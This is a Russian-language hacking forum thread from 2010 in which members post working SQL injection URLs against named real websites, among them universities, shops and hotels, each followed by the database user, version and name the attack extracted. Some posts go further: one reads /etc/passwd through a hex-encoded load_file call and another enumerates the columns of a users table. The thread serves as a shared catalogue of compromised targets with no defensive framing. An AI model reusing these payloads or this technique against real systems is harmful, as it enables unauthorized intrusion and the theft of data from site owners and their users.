SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.law.cf.ac.uk/newsandevents/news_display.php?id=736+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--

    user() : news@localhost

    version() : 5.0.77-log

    database() : news
     
    _________________________
    2 people like this.
  2. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://rekicen.ru/php/content.php?group=1&id=-596+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--
    Version () 5.0.26
    DB name () gastroport_rekic@localhost
    User () gastroport_rekic
     
    1 person likes this.
  3. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.dacc.cc.il.us/news/index.php?id=-495+UNION%20SELECT%201,2,concat_ws(0x3a%20,user(),database(),version()),4,5,6,7,8,9--
    User: public@localhost
    Version: 4.1.21-standard
    Database: news

    Google PR: 6
     
    1 person likes this.
  4. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    www.yaguza.com

    Code:
    http://www.yaguza.com/category/category.php?categoryID=99 union all select 1,2,concat(0x3a3a3a,user(),0x3a3a3a,version(),0x3a3a3a,database()),4,5,6,7,8,9,10--
    User: yaguza_test@localhost
    VERSION: 5.1.30
    DATABASE: yaguza_test
     
  5. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.diadvisor.eu/public/release_display.php?id=-1+UNION%20SELECT%201,2,concat_ws(0x3a%20,user(),database(),version()),4,5
    User: [email protected]
    Version: 4.1.22-standard
    Database: advisor_external

    Google PR: 5
     
  6. av1

    av1 Elder - Старейшина

    Joined:
    6 Oct 2008
    Messages:
    725
    Likes Received:
    104
    Reputations:
    58
    Code:
    http://www.mybrcc.edu/directory/email.php?id=-65+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--&datacheck=email
    User () [email protected]
    Version () 5.0.27
    Database () webdb

    Code:
    http://www.mc.edu/news/event.php?id=-233+UNION+SELECT+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6,7--
    User () [email protected]
    Version () 5.0.86
    Database () prnews
     
    #11746 av1, 9 Apr 2010
    Last edited: 9 Apr 2010
    2 people like this.
  7. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.ns.com.co/tienda/iindex.php?id_sec=-1+UNION%20SELECT%201,concat_ws(0x3a%20,user(),database(),version()),3,4,5,6
    User: usu2195_nscom@localhost
    Version: 5.0.89-community
    Database: usu2195_nscomc
     
  8. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.orghim.ru/meat/news/?id=-1493+union+select+1,2,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),4,5,6+--+


    Database Version: 4.0.27-max-log
    Database name: orghim
    User name: [email protected]
    Os : FreeBSD 4.7
     
    1 person likes this.
  9. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.hxjiqi.cn/articlelist.php?id=-41+UNION%20SELECT%20concat_ws(0x3a%20,user(),database(),version()),2,3--
    User: [email protected]
    Version: 5.0.77-log
    Database: zs62v1_db
     
    1 person likes this.
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.metalindex.ru/news/2007/06/14/news_1496.html?template=-23+UNION+SELECT+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8

    Database Version: 4.1.22
    Database name: hotmetal
    User name: root@localhost
    Os : linux


    http://www.metalindex.ru/news/2007/06/14/news_1496.html?template=-23+UNION+SELECT+1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8
     
    #11750 Gorev, 9 Apr 2010
    Last edited: 9 Apr 2010
  11. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.columbiamovers.com.cy/article.php?id=-46+UNION%20SELECT%20concat_ws(0x3a%20,user(),database(),version())--
    User: columbiamovers@localhost
    Version: 5.0.51a-3ubuntu5.4 9
    Database: columbiamovers
     
  12. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.startparadies.de/webkat.php?mode=showk&id=-18%27+union+select+1,version%28%29,3,4,5--+
    VERSION: 4.1.22-standard-log
     
  13. stan_q

    stan_q Member

    Joined:
    1 Aug 2009
    Messages:
    0
    Likes Received:
    5
    Reputations:
    0
    Жителям Кузбасса посвящается

    Code:
    http://gis42.ru/news/?ref=1&tnews=-180+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x5f6769735f7573657273--

    Ветка пятая
     
    #11753 stan_q, 9 Apr 2010
    Last edited: 9 Apr 2010
  14. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.antheahotelapartments.com.cy/article.php?id=-69+UNION%20SELECT%20concat_ws(0x3a%20,user(),database(),version()),2
    
    User: anthea@localhost
    Version: 5.0.51a-3ubuntu5.4
    Database: anthea
     
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.bilyardia.ru/news.read.phtml?news=-1496+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7

    Database Version: 4.0.27-max-log
    Database name: zeusspb9_shop
    User name: [email protected]
    Os :freebsd4.7
     
  16. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.compassmessen.de/vis_messe.php?id=-1+UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,concat_ws(0x3a%20,user(),database(),version()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38
    User: [email protected]
    Version: 5.0.67-log
    Database: compassmesser_dk_db
     
  17. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Эта была, но в другом месте.
    Code:
    http://www.elportal.ru/showcomp.php?id=-143+union+select+1+--+
    Version: 4.1.25-log
    User: irweb@localhost
    Database: wwwirwebru
     
    1 person likes this.
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://www.mostiko.be/index.php?page=artist&view=-57+union+select+1,2,3,4--

    user() : mostiko@localhost

    version() : 4.0.24_Debian-10

    database) : mostiko

    :p
     
    _________________________
  19. Keltos

    Keltos Banned

    Joined:
    8 Jul 2009
    Messages:
    1,558
    Likes Received:
    920
    Reputations:
    520
    Code:
    http://www.danvideo.es/producto.php?d=-767&id_cat=-115+UNION%20SELECT%201,2,3,4,5,6,7,8,concat_ws(0x3a%20,user(),database(),version())
    User: [email protected]
    Version: 5.0.54
    Database: dvideo
     
  20. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    [RUS] DIESEL

    diesel
     
    #11760 Дирижабль, 9 Apr 2010
    Last edited: 12 Aug 2010
Thread Status:
Not open for further replies.